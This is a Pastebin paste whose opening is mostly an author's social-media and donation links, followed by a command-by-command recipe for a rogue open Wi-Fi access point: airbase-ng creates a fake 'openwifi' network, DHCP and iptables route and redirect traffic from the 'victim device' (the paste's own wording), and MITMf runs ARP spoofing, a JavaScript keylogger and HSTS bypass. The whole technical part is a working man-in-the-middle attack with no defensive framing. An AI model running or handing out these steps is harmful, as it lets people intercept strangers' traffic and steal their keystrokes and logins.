Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // http://NuLLocK.com/forums
- // Content is below all this junk, but you should read this junk if you support me! <3
- // Codexual @ NuLLocK.com
- // Become a Patreon.com/Codexual
- // Donation Are accepted Paypal.me/Codexual
- // YouTube.com/Codexual
- // Twitter.com/Codexual
- // Facebook.com/Codexual
- // Instagram.com/Codexual
- // Snapchat.com/add/Codexual
- // Twitch.tv/Codexual
- // Mixer.com/Codexual
- //
- // Gaming
- // https://steamcommunity.com/id/Codexual
- // Xbox - Codexual
- // PS4 - Codexual
- //
- // Hey Viewer, I would like to thank you. Speaking of being thankful, if you truly support my work, or just wanna be a good sport. // All I all of you is to follow me on my social media, like my content on all social media if you see me post something, and share // my content when you see me post something. Everything does help out, thank you again!
- //
- // Every Saturday I do a Q/A video, so if you have a question you may ask me at http://nullock.com/askme - Look for the Q/A video on
- // my YouTube Channel! (:
- route -n
- //apt-get install dhcp3-server
- apt-get install isc-dhcp-server
- leafpad /etc/dhcp/dhcpd.conf
- //
- INTERFACES="at0";
- subnet 192.168.2.0 netmask 255.255.255.0 {
- option routers 192.168.2.1;
- option subnet-mask 255.255.255.0;
- option domain-name "openwifi";
- option domain-name-servers 1.1.1.1,1.0.0.1;
- range 192.168.2.100 192.168.2.125;
- }
- //
- airmon-ng
- airmon-ng check kill
- airmon-ng start wlan0
- //Creating the WiFi
- airbase-ng -c 11 -e openwifi wlan0mon
- ifconfig at0 up
- //Creating New Interface "at0"
- ifconfig at0 192.168.2.1 netmask 255.255.255.0
- //MTU allow balanced / large packet data to flow
- ifconfig at0 mtu 1400
- //Adds Routing Table
- route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
- //Clears any existing iptables entries.
- iptables --flush
- iptables --table nat --flush
- iptables --delete-chain
- iptables --table nat --delete-chain
- //echo - Forwarding Traffic thru our Fake AP and Your Internet source. (at0 <- -> victim device)
- echo 1 > /proc/sys/net/ipv4/ip_forward
- iptables -t nat -A PREROUTING -p udp -j DNAT --to 10.0.0.1
- iptables -P FORWARD ACCEPT
- iptables --append FORWARD --in-interface at0 -j ACCEPT
- iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
- //Starting DHCP Server - Automatically Assigning an IP Address on connection.
- dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
- /etc/init.d/isc-dhcp-server start
- service isc-dhcp-server start
- //Installing MITMf
- apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
- git clone https://github.com/byt3bl33d3r/MITMf.git
- cd MITMf && git submodule init && git submodule update --recursive
- cd MITMf
- pip install -r requirements.txt
- python mitmf.py -i at0 --spoof --arp --gateway 192.168.2.1 --jskeylogger --hsts
Advertisement
Add Comment
Please, Sign In to add comment